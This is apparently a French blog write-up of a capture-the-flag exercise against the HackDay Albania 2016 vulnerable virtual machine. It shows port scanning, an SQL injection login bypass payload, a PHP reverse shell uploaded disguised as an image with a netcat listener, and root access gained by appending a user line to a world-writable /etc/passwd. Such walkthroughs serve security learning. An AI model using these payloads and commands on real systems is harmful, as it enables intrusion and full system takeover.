HackDay: Albania

Une machine virtuelle à compromettre issue du HackDay Albania’s CTF 2016.

Prise d’informations

root@kali:~# nmap 192.168.1.56 -sV -p- -A
Nmap scan report for 192.168.1.56
Host is up (0.00029s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 39:76:a2:f0:82:5f:1f:75:0d:e4:c4:c5:a7:48:b1:58 (RSA)
|_  256 21:fe:63:45:2c:cb:a1:f1:b6:ba:36:dd:ed:d3:d9:48 (ECDSA)
8008/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 26 disallowed entries (15 shown)
| /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ 
| /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ 
| /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ 
|_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HackDay Albania 2016
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On remarque un serveur apache contentant un robots.txt plutôt bavard, allons voir ce que contiennent ces liens.

Serveur Apache

root@kali:~# curl 192.168.1.56:8008/robots.txt > robotx.txt
root@kali:~# awk '{gsub("Disallow: ", "");print}' robots.txt > robots
root@kali:~# cat robots | while read line; do echo $line >> output;curl 192.168.1.56:8008/$line >> output; done

Toutes les entrées nous servent une page contenant une image, sauf une /unisxcudkqjydw/
qui nous demande : IS there any /vulnbank/ in there ???

Restons bête et discipliné, on accède à /unisxcudkqjydw/vulnbank/ qui nous permet ensuite d’accéder à un sous dossier « client » qui nous emmène sur une interface d’authentification.

Injection SQL

Après quelques tentatives, on parvient à lever une erreur : Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102

Seul le champ login semble vulnérable, l’injection reste possible, nous allons essayer de bypass l’authentification : Objectif, former une requête toujours vraie. La classique ‘ OR 1=1# ne passe pas. Je m’oriente donc vers une requête sans espaces : ‘||1#, ce qui passe et me permet d’être authentifié.

Shell time !

Première chose qu l’on voit : un formulaire d’upload. On va tenter d’uploader notre reverse shell favori. Je tente d’upload directement un .php mais cela ce passe pas, il attends une image. Je renomme mon fichier en .jpg, et cette fois-ci il est uploadé.

On lance le listener (nc -lvp 1234) puis on accède à notre script et :

uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Privilege escalation

En fouillant un peu, on remarque vite quelque chose d’absolument aberrant :

$ ls -lash /etc/passwd
4.0K -rw-r--rw- 1 root root 1.6K Oct 22 17:21 /etc/passwd

Oui, le fichier /etc/passwd est modifiable par n’importe quel utilisateur, il suffit donc de se rajouter un user root 🙂

echo "ghoztroot:\$1\$.pmaBKns\$bydP36ihrmjGgpkMk9sn20:0:0:root:/root:/bin/bash" >> /etc/passwd

Let’s get root 😀

$ su ghoztroot
su: must be run from a terminal

Bon… j’avais oublié ce détail, pas de soucis, une ligne de python et c’est réglé.

$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 6: python: not found

Après avoir testé en vain un bon nombre de méthodes connues pour obtenir un TTY, j’ai listé le contenu de /usr/bin à la recherche d’un programme susceptible de me fournir un terminal, et j’ai enfin trouvé le Graal : script !

Après une rapide lecture du man, on s’aperçoit que l’on peut exécuter une commande à la place de l’interpréteur interactif fournit par script. Bien allons-y !

$ script -c /bin/bash /tmp/garbage
Script started, file is /tmp/garbage
www-data@hackday:/$ su ghoztroot
su ghoztroot
Password: password
 
root@hackday:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Voilà une bonne chose de faite 🙂

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *